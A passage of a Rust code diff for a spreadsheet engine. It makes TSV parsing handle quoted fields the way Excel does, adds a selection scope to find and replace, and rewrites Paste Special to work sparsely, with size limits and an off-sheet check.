+                replay.extend(raw.chars().skip(1));
+                raw.clear();
+                continue;
+            }
+            None => break,
+        };
        if quoted {
+            raw.push(c);
            if c == '"' {
-                if chars.peek() == Some(&'"') {
+                let next = replay.front().copied().or_else(|| chars.peek().copied());
+                if next == Some('"') {
                    field.push('"');
-                    chars.next();
+                    raw.push('"');
+                    if replay.pop_front().is_none() {
+                        chars.next();
+                    }
                } else {
                    quoted = false;
+                    // A field is quoted only when its closing quote ends it, as Excel reads it:
+                    // `"hi" there` is that text, quotes included, and a tab or line break inside
+                    // it still ends the cell, as if the leading quote weren't there.
+                    if !matches!(next, None | Some('\t' | '\n' | '\r')) {
+                        field.clear();
+                        field.push('"');
+                        replay_budget = replay_budget.saturating_sub(raw.len());
+                        let rest: Vec<char> = std::mem::take(&mut raw).chars().skip(1).collect();
+                        for ch in rest.into_iter().rev() {
+                            replay.push_front(ch);
+                        }
+                    }
                }
            } else {
                field.push(c);
@@ -243,9 +317,10 @@ pub(crate) fn parse_tsv(text: &str) -> Vec<Vec<String>> {
            continue;
        }
        match c {
-            '"' if at_start => {
+            '"' if at_start && replay_budget > 0 => {
                quoted = true;
                at_start = false;
+                raw = String::from('"');
            }
            '\t' => {
                row.push(std::mem::take(&mut field));
@@ -62,6 +62,8 @@ pub(super) fn find(s: &mut Session, p: &Json) -> Result<Json> {
    let by_cols = bool_param(p, "byColumns").unwrap_or(false);
    let all = bool_param(p, "all").unwrap_or(false);
    let workbook = str_param(p, "within") == Some("workbook");
+    // `selection`: only the selected cells of the active sheet, as Excel searches a selected range.
+    let in_selection = str_param(p, "within") == Some("selection");
    s.last_find = Some(p.clone());
    let d = s.doc()?;
    let sheets: Vec<usize> = if workbook { (0..d.wb.sheets.len()).collect() } else { vec![d.wb.active_sheet()] };
@@ -71,6 +73,7 @@ pub(super) fn find(s: &mut Session, p: &Json) -> Result<Json> {
        let mut cells: Vec<(CellRef, String)> = sh
            .cells
            .iter()
+            .filter(|(c, _)| !in_selection || d.selection.contains(*c))
            .filter_map(|(c, cell)| {
                let text = if values || cell.formula.is_none() || crate::display::formula_hidden(&d.wb, sh, c) {
                    crate::display::cell_text(&d.wb, sh, c)
@@ -100,7 +103,12 @@ pub(super) fn find(s: &mut Session, p: &Json) -> Result<Json> {
    let Some((si, c, t)) = next else { return Err(EngineError::Other("not found".into())) };
    let dd = s.doc_mut()?;
    dd.wb_switch_sheet(si);
-    dd.selection = crate::Selection::at(c);
+    if in_selection {
+        // The range stays selected and the active cell moves through it, as in Excel.
+        dd.selection.active = c;
+    } else {
+        dd.selection = crate::Selection::at(c);
+    }
    Ok(json!({"cell": c.a1(), "sheet": si, "value": t, "count": hits.len()}))
 }

@@ -114,6 +122,7 @@ pub(super) fn replace(s: &mut Session, p: &Json) -> Result<Json> {
    let whole = bool_param(p, "wholeCell").unwrap_or(false);
    let all = bool_param(p, "all").unwrap_or(true);
    let workbook = str_param(p, "within") == Some("workbook");
+    let selection = (str_param(p, "within") == Some("selection")).then(|| s.doc().map(|d| d.selection.clone())).transpose()?;
    let active = s.doc()?.selection.active;
    let mut skipped = 0usize;
    let n = edit(s, |cx| {
@@ -123,7 +132,7 @@ pub(super) fn replace(s: &mut Session, p: &Json) -> Result<Json> {
            let cells: Vec<(CellRef, String)> =
                cx.wb.sheet(si).map(|sh| sh.cells.iter().map(|(c, _)| (c, sh.input_text(c))).collect()).unwrap_or_default();
            for (c, text) in cells {
-                if !all && c != active {
+                if (!all && c != active) || selection.as_ref().is_some_and(|sel| !sel.contains(c)) {
                    continue;
                }
                if !matches(&text, &what, case, whole) {
@@ -4,74 +4,7 @@ use super::{
    target_sheet,
 };

-fn tiled_cells(rows: u32, cols: u32, tiles_r: u32, tiles_c: u32) -> impl Iterator<Item = (u32, u32, u32, u32)> + Clone {
-    (0..tiles_r).flat_map(move |tr| (0..tiles_c).flat_map(move |tc| (0..rows).flat_map(move |r| (0..cols).map(move |c| (tr, tc, r, c)))))
-}
-
-fn apply_operation(op: &str, old: &Cell, new: &mut Cell) {
-    let operand = new.value.clone();
-    if let (Ok(x), Ok(y)) = (old.value.to_number(), operand.to_number())
-        && (old.value.is_number() || old.value.is_empty() || old.value.is_text())
-        && (operand.is_number() || operand.is_empty())
-    {
-        new.value = match op {
-            "add" => Value::number(x + y),
-            "subtract" => Value::number(x - y),
-            "multiply" => Value::number(x * y),
-            "divide" if y == 0.0 => Value::Error(gridcraft_core::CellError::Div0),
-            "divide" => Value::number(x / y),
-            _ => operand.clone(),
-        };
-    } else if (old.value.is_text() || old.value.is_error()) && (operand.is_number() || operand.is_empty()) {
-        new.value = old.value.clone();
-    }
-    if let Some(formula) = &old.formula
-        && let Ok(y) = operand.to_number()
-        && (operand.is_number() || operand.is_empty())
-        && let Some(symbol) = operation_symbol(op)
-    {
-        let text = format!("=({}){symbol}{}", formula.text, gridcraft_core::number_to_text(y));
-        new.formula = Some(std::sync::Arc::new(Formula::new(&text)));
-        new.value = Value::Empty;
-    }
-}
-
-fn operation_symbol(op: &str) -> Option<char> {
-    match op {
-        "add" => Some('+'),
-        "subtract" => Some('-'),
-        "multiply" => Some('*'),
-        "divide" => Some('/'),
-        _ => None,
-    }
-}
-
-fn copy_merges(
-    cx: &mut crate::cmd::Ctx,
-    dest_sheet: usize,
-    src_sheet: &gridcraft_model::Sheet,
-    src: RangeRef,
-    at: CellRef,
-    what: What,
-    transpose: bool,
-) -> Result<()> {
-    if !matches!(what, What::All | What::Formats) || transpose {
-        return Ok(());
-    }
-    let merges: Vec<RangeRef> = src_sheet.merges.iter().filter(|merge| src.contains_range(merge)).copied().collect();
-    for merge in merges {
-        let row_offset = at.row as i64 - src.start.row as i64;
-        let col_offset = at.col as i64 - src.start.col as i64;
-        if let (Some(start), Some(end)) = (merge.start.offset(row_offset, col_offset), merge.end.offset(row_offset, col_offset)) {
-            let moved = RangeRef::new(start, end);
-            let sheet = cx.sheet_mut(dest_sheet)?;
-            sheet.merges.retain(|existing| !existing.intersects(&moved));
-            sheet.merges.push(moved);
-        }
-    }
-    Ok(())
-}
-
+#[allow(clippy::cognitive_complexity)] // The command applies the selected paste mode in one atomic edit.
 pub(super) fn paste_special(s: &mut Session, p: &Json) -> Result<Json> {
    let Some(clip) = s.clipboard.clone() else { return Err(EngineError::Other("Nothing to paste.".into())) };
    let what = match str_param(p, "what").unwrap_or("all") {
@@ -97,7 +30,11 @@ pub(super) fn paste_special(s: &mut Session, p: &Json) -> Result<Json> {
    let dest_sheet = target_sheet(s, p)?;
    let sel = s.doc()?.selection.current();
    let at = cell_param_on(s, p, "at", dest_sheet)?.unwrap_or(sel.start);
-    let src = clip.range;
+    // Whole columns or rows paste whole (the copy keeps only their used part as its text), so
+    // what the destination columns hold further down is replaced too, as in Excel. The cells are
+    // visited sparsely below, so this costs what the columns hold, not 1,048,576 rows.
+    let whole = clip.areas.is_empty() && (clip.selected.is_full_cols() || clip.selected.is_full_rows()) && clip.selected.contains_range(&clip.range);
+    let src = if whole { clip.selected } else { clip.range };
    let (h, w) = if transpose { (src.width(), src.height()) } else { (src.height(), src.width()) };
    // Tile the copy over a larger destination that is a multiple of its size.
    let tile = sel.height() % h == 0
@@ -108,17 +45,25 @@ pub(super) fn paste_special(s: &mut Session, p: &Json) -> Result<Json> {
        && !sel.is_full_rows()
        && sel.count() <= 4_000_000;
    let (tiles_r, tiles_c) = if tile { (sel.height() / h, sel.width() / w) } else { (1, 1) };
+    // Excel refuses a paste that would run off the sheet (whole columns pasted below row 1, whole
+    // rows right of column A, a whole column transposed) instead of pasting part of it.
+    if at.offset(i64::from(tiles_r * h) - 1, i64::from(tiles_c * w) - 1).is_none() {
+        return Err(EngineError::Other("The copied cells don't fit here: paste them where the whole copied area fits on the sheet.".into()));
+    }
+    // Paste Link writes a formula into every cell, blank ones included, so it is the one paste
+    // whose work grows with the area rather than with what the source holds.
+    let link_src = clip.range;
+    if link && link_src.count().saturating_mul(u64::from(tiles_r) * u64::from(tiles_c)) > MAX_PASTE_LINK_CELLS {
+        return Err(EngineError::Other("Too many cells to paste as links at once.".into()));
+    }
    let same_doc = s.doc()?.uid == clip.doc_uid;
    let cut_move = clip.cut && same_doc && what == What::All;
    let src_wb = clip.wb.clone();
    let Some(src_sheet) = src_wb.sheet(clip.sheet) else { return Err(EngineError::Other("The copied sheet no longer exists.".into())) };
    let src_sheet_name = src_sheet.name.clone();
-    if cut_move && at.offset((tiles_r * h).saturating_sub(1) as i64, (tiles_c * w).saturating_sub(1) as i64).is_none() {
-        // Check the whole footprint before the source is emptied, so a move that overflows the grid loses nothing.
-        return Err(EngineError::Other("The cut area doesn't fit at this position; nothing was moved.".into()));
-    }
    edit(s, |cx| {
        // Styles from another workbook must be re-interned.
+        let dest_name = cx.wb.sheet(dest_sheet).map(|sh| sh.name.clone()).unwrap_or_default();
        let mut style_map = std::collections::HashMap::new();
        let mut map_style = |id: StyleId, wb: &mut gridcraft_model::Workbook| -> StyleId {
            if same_doc {
@@ -126,7 +71,7 @@ pub(super) fn paste_special(s: &mut Session, p: &Json) -> Result<Json> {
            }
            *style_map.entry(id).or_insert_with(|| wb.styles.intern(src_wb.styles.get(id).clone()))
        };
-        let mut moved_formulas = Vec::new();
+        let mut moved_formulas = std::collections::BTreeMap::new();
        let mut moved_pictures = std::collections::BTreeMap::new();
        if cut_move {
            // Remove the source first (contents and formats), and fix references to it.
@@ -143,190 +88,281 @@ pub(super) fn paste_special(s: &mut Session, p: &Json) -> Result<Json> {
            for (c, _) in &taken {
                cx.touch(clip.sheet, *c);
            }
-            moved_formulas = taken;
+            moved_formulas = taken.into_iter().collect();
        }
-        let dest_name = cx.wb.sheet(dest_sheet).map(|sh| sh.name.clone()).unwrap_or_default();
-        for (tr, tc, r, c) in tiled_cells(src.height(), src.width(), tiles_r, tiles_c) {
-            let sc = CellRef::new(src.start.row + r, src.start.col + c);
-            let (dr, dc) = if transpose { (c, r) } else { (r, c) };
-            let Some(dest) = at.offset((tr * h + dr) as i64, (tc * w + dc) as i64) else { continue };
-            let src_cell = if cut_move { moved_formulas.iter().find(|(k, _)| *k == sc).map(|(_, v)| v.clone()) } else { src_sheet.cell(sc).cloned() };
-            let src_val = src_sheet.value(sc);
-            let src_picture = if cut_move { moved_pictures.get(&sc) } else { src_sheet.cell_pictures.get(&sc) }.cloned();
-            if skip_blanks && src_picture.is_none() && src_val.is_empty() && src_cell.as_ref().is_none_or(|x| x.formula.is_none() && x.py.is_none()) {
-                continue;
-            }
-            let old = cx.wb.sheet(dest_sheet).and_then(|sh| sh.cell(dest)).cloned().unwrap_or_default();
-            let old_picture = cx.wb.sheet(dest_sheet).and_then(|sh| sh.cell_pictures.get(&dest)).cloned();
-            let mut new_picture = old_picture.clone();
-            let mut new = old.clone();
-            let shift = |cell: &Cell| -> Option<std::sync::Arc<Formula>> {
-                let f = cell.formula.as_ref()?;
-                let e = f.expr()?;
-                if cut_move {
-                    // A moved formula still reads cells on its original sheet. Qualify
-                    // those references before the workbook-wide move adjustment below.
-                    let e = if dest_sheet != clip.sheet {
-                        e.map(&mut |x| match x {
-                            gridcraft_formula::Expr::Ref(mut r) if r.sheet == gridcraft_formula::SheetSel::Current => {
-                                r.sheet = gridcraft_formula::SheetSel::Named(src_sheet_name.clone());
-                                gridcraft_formula::Expr::Ref(r)
-                            }
-                            other => other,
-                        })
-                    } else {
-                        e
-                    };
-                    let mut moved = Formula::from_expr(e);
-                    // The array range moves with its formula.
-                    let (dr, dc) = (dest.row as i64 - sc.row as i64, dest.col as i64 - sc.col as i64);
-                    moved.array = f.array.and_then(|a| Some(RangeRef::new(a.start.offset(dr, dc)?, a.end.offset(dr, dc)?)));
-                    moved.dynamic = f.dynamic;
-                    return Some(std::sync::Arc::new(moved));
-                }
-                let moved = gridcraft_formula::adjust::shift_relative(e, dest.row as i64 - sc.row as i64, dest.col as i64 - sc.col as i64);
-                Some(std::sync::Arc::new(Formula { dynamic: f.dynamic, ..Formula::from_expr(moved) }))
-            };
-            // A Python cell's code travels with it. Cut to another sheet, it keeps reading the
-            // cells its `xl()` references named on its original sheet, as a moved formula does:
-            // they are qualified with that sheet before the workbook-wide move adjustment below.
-            let moved_py = |cell: &Cell| -> Result<Option<std::sync::Arc<gridcraft_model::PyCode>>> {
-                let Some(py) = cell.py.clone() else { return Ok(None) };
-                if !cut_move || dest_sheet == clip.sheet {
-                    return Ok(Some(py));
-                }
-                let qualified = gridcraft_model::python::rewrite_xl(&py.code, |reference| {
-                    let e = gridcraft_formula::parse(reference).ok()?.map(&mut |x| match x {
-                        gridcraft_formula::Expr::Ref(mut r) if r.sheet == gridcraft_formula::SheetSel::Current => {
-                            r.sheet = gridcraft_formula::SheetSel::Named(src_sheet_name.clone());
-                            gridcraft_formula::Expr::Ref(r)
-                        }
-                        other => other,
-                    });
-                    Some(gridcraft_formula::print(&e))
+        // The cells of the copied block that hold something (or that a link reads), as offsets
+        // inside it. Blank source cells matter only where the destination holds something.
+        let source_offsets: std::collections::BTreeSet<(u32, u32)> = if link {
+            (0..link_src.height()).flat_map(|r| (0..link_src.width()).map(move |c| (r, c))).collect()
+        } else {
+            let offset = |c: CellRef| (c.row - src.start.row, c.col - src.start.col);
+            let mut held: std::collections::BTreeSet<(u32, u32)> = src_sheet.cells.iter_range(src).map(|(c, _)| offset(c)).collect();
+            let side =
+                src_sheet.spill.keys().chain(src_sheet.cell_pictures.keys()).chain(src_sheet.comments.keys()).chain(src_sheet.hyperlinks.keys());
+            held.extend(side.chain(moved_formulas.keys()).chain(moved_pictures.keys()).filter(|c| src.contains(**c)).map(|c| offset(*c)));
+            held
+        };
+        let skip_cells = matches!(what, What::Validation | What::ColumnWidths);
+        // A blank source cell clears (or reformats) a destination cell that holds something, so
+        // those cells join the visit. One scan of the whole pasted area sorts them by tile.
+        let mut dest_held: std::collections::BTreeMap<(u32, u32), Vec<(u32, u32)>> = Default::default();
+        if !link && !skip_cells {
+            let pasted = RangeRef::new(at, at.offset_clamped(i64::from(tiles_r * h) - 1, i64::from(tiles_c * w) - 1));
+            let held =
+                cx.wb.sheet(dest_sheet).into_iter().flat_map(|sh| {
+                    sh.cells.iter_range(pasted).map(|(c, _)| c).chain(sh.cell_pictures.keys().copied().filter(|c| pasted.contains(*c)))
                });
-                Ok(Some(match qualified {
-                    Some(code) => {
-                        let moved = gridcraft_model::PyCode { code, ..(*py).clone() };
-                        check_python_fits(&moved, &dest_name, dest)?;
-                        std::sync::Arc::new(moved)
+            for d in held.collect::<Vec<_>>() {
+                let (dr, dc) = (d.row - at.row, d.col - at.col);
+                let local = (dr % h, dc % w);
+                dest_held.entry((dr / h, dc / w)).or_default().push(if transpose { (local.1, local.0) } else { local });
+            }
+        }
+        let no_cells = std::collections::BTreeSet::new();
+        for tr in 0..tiles_r {
+            for tc in 0..tiles_c {
+                let merged;
+                let offsets = match dest_held.get(&(tr, tc)) {
+                    Some(extra) => {
+                        merged = source_offsets.iter().chain(extra).copied().collect::<std::collections::BTreeSet<_>>();
+                        &merged
                    }
-                    None => py,
-                }))
-            };
-            if link {
-                let sheet_prefix = if dest_sheet == clip.sheet && same_doc {
-                    String::new()
-                } else {
-                    format!("{}!", gridcraft_formula::quote_sheet(&src_sheet_name))
+                    None if skip_cells => &no_cells,
+                    None => &source_offsets,
                };
-                new.formula = Some(std::sync::Arc::new(Formula::new(&format!("={sheet_prefix}{}", sc.a1()))));
-                new.value = Value::Empty;
-                new.py = None;
-                new_picture = None;
-            } else {
-                let sc_cell = src_cell.clone().unwrap_or_default();
-                match what {
-                    What::All | What::AllExceptBorders => {
-                        new_picture = src_picture.clone();
-                        new.formula = shift(&sc_cell);
-                        new.value = if new.formula.is_some() { Value::Empty } else { sc_cell.value.clone() };
-                        new.py = moved_py(&sc_cell)?;
-                        let st = map_style(sc_cell.style, &mut cx.wb);
-                        new.style = if what == What::AllExceptBorders {
-                            let borders = cx.wb.styles.get(old.style).borders;
-                            cx.wb.styles.derive(st, |s| s.borders = borders)
+                for &(r, c) in offsets {
+                    let sc = CellRef::new(src.start.row + r, src.start.col + c);
+                    let (dr, dc) = if transpose { (c, r) } else { (r, c) };
+                    let Some(dest) = at.offset((tr * h + dr) as i64, (tc * w + dc) as i64) else { continue };
+                    let src_cell = if cut_move { moved_formulas.get(&sc).cloned() } else { src_sheet.cell(sc).cloned() };
+                    let src_val = src_sheet.value(sc);
+                    let src_picture = if cut_move { moved_pictures.get(&sc) } else { src_sheet.cell_pictures.get(&sc) }.cloned();
+                    if skip_blanks
+                        && src_picture.is_none()
+                        && src_val.is_empty()
+                        && src_cell.as_ref().is_none_or(|x| x.formula.is_none() && x.py.is_none())
+                    {
+                        continue;
+                    }
+                    let old = cx.wb.sheet(dest_sheet).and_then(|sh| sh.cell(dest)).cloned().unwrap_or_default();
+                    let old_picture = cx.wb.sheet(dest_sheet).and_then(|sh| sh.cell_pictures.get(&dest)).cloned();
+                    let mut new_picture = old_picture.clone();
+                    let mut new = old.clone();
+                    let shift = |cell: &Cell| -> Option<std::sync::Arc<Formula>> {
+                        let f = cell.formula.as_ref()?;
+                        let e = f.expr()?;
+                        if cut_move {
+                            // A moved formula still reads cells on its original sheet. Qualify
+                            // those references before the workbook-wide move adjustment below.
+                            let e = if dest_sheet != clip.sheet {
+                                e.map(&mut |x| match x {
+                                    gridcraft_formula::Expr::Ref(mut r) if r.sheet == gridcraft_formula::SheetSel::Current => {
+                                        r.sheet = gridcraft_formula::SheetSel::Named(src_sheet_name.clone());
+                                        gridcraft_formula::Expr::Ref(r)
+                                    }
+                                    other => other,
+                                })
+                            } else {
+                                e
+                            };
+                            let mut moved = Formula::from_expr(e);
+                            // The array range moves with its formula.
+                            let (dr, dc) = (dest.row as i64 - sc.row as i64, dest.col as i64 - sc.col as i64);
+                            moved.array = f.array.and_then(|a| Some(RangeRef::new(a.start.offset(dr, dc)?, a.end.offset(dr, dc)?)));
+                            moved.dynamic = f.dynamic;
+                            return Some(std::sync::Arc::new(moved));
+                        }
+                        let moved = gridcraft_formula::adjust::shift_relative(e, dest.row as i64 - sc.row as i64, dest.col as i64 - sc.col as i64);
+                        Some(std::sync::Arc::new(Formula { dynamic: f.dynamic, ..Formula::from_expr(moved) }))
+                    };
+                    let moved_py = |cell: &Cell| -> Result<Option<std::sync::Arc<gridcraft_model::PyCode>>> {
+                        let Some(py) = cell.py.clone() else { return Ok(None) };
+                        if !cut_move || dest_sheet == clip.sheet {
+                            return Ok(Some(py));
+                        }
+                        let qualified = gridcraft_model::python::rewrite_xl(&py.code, |reference| {
+                            let e = gridcraft_formula::parse(reference).ok()?.map(&mut |x| match x {
+                                gridcraft_formula::Expr::Ref(mut r) if r.sheet == gridcraft_formula::SheetSel::Current => {
+                                    r.sheet = gridcraft_formula::SheetSel::Named(src_sheet_name.clone());
+                                    gridcraft_formula::Expr::Ref(r)
+                                }
+                                other => other,
+                            });
+                            Some(gridcraft_formula::print(&e))
+                        });
+                        Ok(Some(match qualified {
+                            Some(code) => {
+                                let moved = gridcraft_model::PyCode { code, ..(*py).clone() };
+                                check_python_fits(&moved, &dest_name, dest)?;
+                                std::sync::Arc::new(moved)
+                            }
+                            None => py,
+                        }))
+                    };
+                    if link {
+                        let sheet_prefix = if dest_sheet == clip.sheet && same_doc {
+                            String::new()
                        } else {
-                            st
+                            format!("{}!", gridcraft_formula::quote_sheet(&src_sheet_name))
                        };
-                    }
-                    What::Formulas | What::FormulasAndNumberFormats => {
-                        new_picture = src_picture.clone();
-                        new.formula = shift(&sc_cell);
-                        new.value = if new.formula.is_some() { Value::Empty } else { sc_cell.value.clone() };
-                        new.py = moved_py(&sc_cell)?;
-                        if what == What::FormulasAndNumberFormats {
-                            let nf = src_wb.styles.get(sc_cell.style).num_fmt.clone();
-                            new.style = cx.wb.styles.derive(old.style, |s| s.num_fmt = nf);
-                        }
-                    }
-                    What::Values | What::ValuesAndNumberFormats => {
-                        new_picture = src_picture.clone();
-                        new.formula = None;
+                        new.formula = Some(std::sync::Arc::new(Formula::new(&format!("={sheet_prefix}{}", sc.a1()))));
+                        new.value = Value::Empty;
                        new.py = None;
-                        new.value = src_val.clone();
-                        if what == What::ValuesAndNumberFormats {
-                            let nf = src_wb.styles.get(sc_cell.style).num_fmt.clone();
-                            new.style = cx.wb.styles.derive(old.style, |s| s.num_fmt = nf);
+                        new_picture = None;
+                    } else {
+                        let sc_cell = src_cell.clone().unwrap_or_default();
+                        match what {
+                            What::All | What::AllExceptBorders => {
+                                new_picture = src_picture.clone();
+                                new.formula = shift(&sc_cell);
+                                new.value = if new.formula.is_some() { Value::Empty } else { sc_cell.value.clone() };
+                                new.py = moved_py(&sc_cell)?;
+                                let st = map_style(sc_cell.style, &mut cx.wb);
+                                new.style = if what == What::AllExceptBorders {
+                                    let borders = cx.wb.styles.get(old.style).borders;
+                                    cx.wb.styles.derive(st, |s| s.borders = borders)
+                                } else {
+                                    st
+                                };
+                            }
+                            What::Formulas | What::FormulasAndNumberFormats => {
+                                new_picture = src_picture.clone();
+                                new.formula = shift(&sc_cell);
+                                new.value = if new.formula.is_some() { Value::Empty } else { sc_cell.value.clone() };
+                                new.py = moved_py(&sc_cell)?;
+                                if what == What::FormulasAndNumberFormats {
+                                    let nf = src_wb.styles.get(sc_cell.style).num_fmt.clone();
+                                    new.style = cx.wb.styles.derive(old.style, |s| s.num_fmt = nf);
+                                }
+                            }
+                            What::Values | What::ValuesAndNumberFormats => {
+                                new_picture = src_picture.clone();
+                                new.formula = None;
+                                new.py = None;
+                                new.value = src_val.clone();
+                                if what == What::ValuesAndNumberFormats {
+                                    let nf = src_wb.styles.get(sc_cell.style).num_fmt.clone();
+                                    new.style = cx.wb.styles.derive(old.style, |s| s.num_fmt = nf);
+                                }
+                            }
+                            What::Formats => new.style = map_style(sc_cell.style, &mut cx.wb),
+                            What::Comments | What::Validation | What::ColumnWidths => {}
+                        }
+                        // Operations combine numbers with what is already there.
+                        if op != "none"
+                            && matches!(what, What::All | What::Values | What::ValuesAndNumberFormats | What::Formulas)
+                            && new.formula.is_none()
+                            && new.py.is_none()
+                        {
+                            if old_picture.is_some() || new_picture.is_some() {
+                                new_picture = None;
+                                new.value = Value::Error(gridcraft_core::CellError::Value);
+                            }
+                            let a = old.value.clone();
+                            let b = new.value.clone();
+                            // Numbers stored as text take part (multiplying by 1 turns them into
+                            // numbers); other text and errors stay as they are.
+                            if let (Ok(x), Ok(y)) = (a.to_number(), b.to_number())
+                                && (a.is_number() || a.is_empty() || a.is_text())
+                                && (b.is_number() || b.is_empty())
+                            {
+                                new.value = match op.as_str() {
+                                    "add" => Value::number(x + y),
+                                    "subtract" => Value::number(x - y),
+                                    "multiply" => Value::number(x * y),
+                                    "divide" => {
+                                        if y == 0.0 {
+                                            Value::Error(gridcraft_core::CellError::Div0)
+                                        } else {
+                                            Value::number(x / y)
+                                        }
+                                    }
+                                    _ => b.clone(),
+                                };
+                            } else if (a.is_text() || a.is_error()) && (b.is_number() || b.is_empty()) {
+                                new.value = a;
+                            }
+                            // A formula already there is kept and combined with the pasted number.
+                            if let Some(f) = &old.formula
+                                && let Ok(y) = b.to_number()
+                                && (b.is_number() || b.is_empty())
+                                && let Some(sym) = match op.as_str() {
+                                    "add" => Some('+'),
+                                    "subtract" => Some('-'),
+                                    "multiply" => Some('*'),
+                                    "divide" => Some('/'),
+                                    _ => None,
+                                }
+                            {
+                                let text = format!("=({}){sym}{}", f.text, gridcraft_core::number_to_text(y));
+                                new.formula = Some(std::sync::Arc::new(Formula::new(&text)));
+                                new.value = Value::Empty;
+                            }
                        }
                    }
-                    What::Formats => new.style = map_style(sc_cell.style, &mut cx.wb),
-                    What::Comments | What::Validation | What::ColumnWidths => {}
-                }
-                // Operations combine numbers with what is already there.
-                if op != "none"
-                    && matches!(what, What::All | What::Values | What::ValuesAndNumberFormats | What::Formulas)
-                    && new.formula.is_none()
-                    && new.py.is_none()
-                {
-                    if old_picture.is_some() || new_picture.is_some() {
-                        new_picture = None;
-                        new.value = Value::Error(gridcraft_core::CellError::Value);
+                    match what {
+                        What::Comments => {
+                            if let Some(cm) = src_sheet.comments.get(&sc).cloned() {
+                                cx.sheet_mut(dest_sheet)?.comments.insert(dest, cm);
+                            }
+                        }
+                        What::All => {
+                            if let Some(cm) = src_sheet.comments.get(&sc).cloned() {
+                                cx.sheet_mut(dest_sheet)?.comments.insert(dest, cm);
+                            }
+                            if let Some(h) = src_sheet.hyperlinks.get(&sc).cloned() {
+                                cx.sheet_mut(dest_sheet)?.hyperlinks.insert(dest, h);
+                            }
+                            cx.sheet_mut(dest_sheet)?.set_cell(dest, new);
+                        }
+                        _ => cx.sheet_mut(dest_sheet)?.set_cell(dest, new),
                    }
-                    // Numbers stored as text participate; other text and errors stay as they are.
-                    apply_operation(&op, &old, &mut new);
+                    if let Some(picture) = new_picture {
+                        cx.sheet_mut(dest_sheet)?.cell_pictures.insert(dest, picture);
+                    }
+                    cx.touch(dest_sheet, dest);
                }
            }
-            // The copied cell's validation rule replaces whatever rule the destination had.
-            if !link && matches!(what, What::All | What::AllExceptBorders | What::Validation) {
-                let rule = src_sheet.validations.iter().find(|dv| dv.ranges.iter().any(|r| r.contains(sc))).cloned();
-                let sh = cx.sheet_mut(dest_sheet)?;
-                crate::cmd::data::remove_validation_cells(&mut sh.validations, &[RangeRef::new(dest, dest)]);
-                if let Some(mut dv) = rule {
-                    // Relative references move with the rule, as pasted formulas do.
-                    let first = dv.ranges.first().map_or(sc, |r| r.start);
-                    dv.f1 = crate::cmd::data::move_rule_formula(&dv.f1, first, dest);
-                    dv.f2 = dv.f2.map(|f| crate::cmd::data::move_rule_formula(&f, first, dest));
-                    dv.ranges = vec![RangeRef::new(dest, dest)];
-                    sh.validations.push(dv);
+        }
+        let pasted = RangeRef::new(at, at.offset_clamped(i64::from(tiles_r * h) - 1, i64::from(tiles_c * w) - 1));
+        if !link && matches!(what, What::All | What::AllExceptBorders | What::Validation) {
+            paste_validations(cx, src_sheet, src, dest_sheet, pasted, transpose, skip_blanks)?;
+        }
+        if what == What::ColumnWidths {
+            // Each pasted column takes the width of the column copied to it (transposed, the
+            // copied rows land in columns and all take the last copied column's width).
+            let cols = cx.sheet_mut(dest_sheet)?;
+            for dc in 0..pasted.width() {
+                let info = if transpose {
+                    (0..src.width()).rev().find_map(|c| src_sheet.cols.get(&(src.start.col + c)).copied())
+                } else {
+                    src_sheet.cols.get(&(src.start.col + dc % w)).copied()
+                };
+                if let Some(info) = info {
+                    cols.cols.insert(pasted.start.col + dc, info);
                }
            }
-            match what {
-                What::Comments => {
-                    if let Some(cm) = src_sheet.comments.get(&sc).cloned() {
-                        cx.sheet_mut(dest_sheet)?.comments.insert(dest, cm);
-                    }
-                }
-                What::ColumnWidths => {
-                    if let Some(info) = src_sheet.cols.get(&sc.col).copied() {
-                        cx.sheet_mut(dest_sheet)?.cols.insert(dest.col, info);
-                    }
-                }
-                What::All => {
-                    if let Some(cm) = src_sheet.comments.get(&sc).cloned() {
-                        cx.sheet_mut(dest_sheet)?.comments.insert(dest, cm);
-                    }
-                    if let Some(h) = src_sheet.hyperlinks.get(&sc).cloned() {
-                        cx.sheet_mut(dest_sheet)?.hyperlinks.insert(dest, h);
-                    }
-                    cx.sheet_mut(dest_sheet)?.set_cell(dest, new);
-                }
-                _ => cx.sheet_mut(dest_sheet)?.set_cell(dest, new),
-            }
-            if let Some(picture) = new_picture {
-                cx.sheet_mut(dest_sheet)?.cell_pictures.insert(dest, picture);
-            }
-            cx.touch(dest_sheet, dest);
        }
        // Merged areas inside the copied block travel with it.
-        copy_merges(cx, dest_sheet, src_sheet, src, at, what, transpose)?;
+        if matches!(what, What::All | What::Formats) && !transpose {
+            let merges: Vec<RangeRef> = src_sheet.merges.iter().filter(|m| src.contains_range(m)).copied().collect();
+            for m in merges {
+                let dr = at.row as i64 - src.start.row as i64;
+                let dc = at.col as i64 - src.start.col as i64;
+                if let (Some(a), Some(b)) = (m.start.offset(dr, dc), m.end.offset(dr, dc)) {
+                    let nm = RangeRef::new(a, b);
+                    let sh = cx.sheet_mut(dest_sheet)?;
+                    sh.merges.retain(|x| !x.intersects(&nm));
+                    sh.merges.push(nm);
+                }
+            }
+        }
        if cut_move {
            // References elsewhere to the moved block now point to its new place.
-            let dest_name = cx.wb.sheet(dest_sheet).map(|s| s.name.clone()).unwrap_or_default();
            let e = if dest_sheet == clip.sheet {
                gridcraft_formula::adjust::Edit::Move { from: src, to_row: at.row, to_col: at.col }
            } else {
-                gridcraft_formula::adjust::Edit::MoveToSheet { from: src, to_sheet: dest_name, to_row: at.row, to_col: at.col }
+                gridcraft_formula::adjust::Edit::MoveToSheet { from: src, to_sheet: dest_name.clone(), to_row: at.row, to_col: at.col }
            };
            rewrite_all_formulas(&mut cx.wb, &src_sheet_name, &e)?;
            cx.structural = true;
@@ -351,6 +387,132 @@ pub(super) fn paste_special(s: &mut Session, p: &Json) -> Result<Json> {
    Ok(json!({"pasted": s.doc()?.selection.a1()}))
 }

+/// Most cells one Paste Link writes (it writes a formula into every cell of the copied area,
+/// blank ones included).
+const MAX_PASTE_LINK_CELLS: u64 = 1_048_576;
+/// Most validation ranges one paste adds (a rule covering part of a small block tiled over a huge
+/// selection makes one range per tile).
+const MAX_PASTE_VALIDATION_RANGES: usize = 100_000;
+
+/// Pasting validation works on ranges, as Excel stores it: the pasted rectangle is cut out of the
+/// destination's rules (cells whose source had no rule end up with none), then each source rule
+/// that covers part of the copied block `src` comes along as one rule over the translated parts.
+/// `size` is one tile's (height, width) at the destination; `pasted` is all the tiles together.
+fn paste_validations(
+    cx: &mut crate::cmd::Ctx<'_>,
+    src_sheet: &gridcraft_model::Sheet,
+    src: RangeRef,
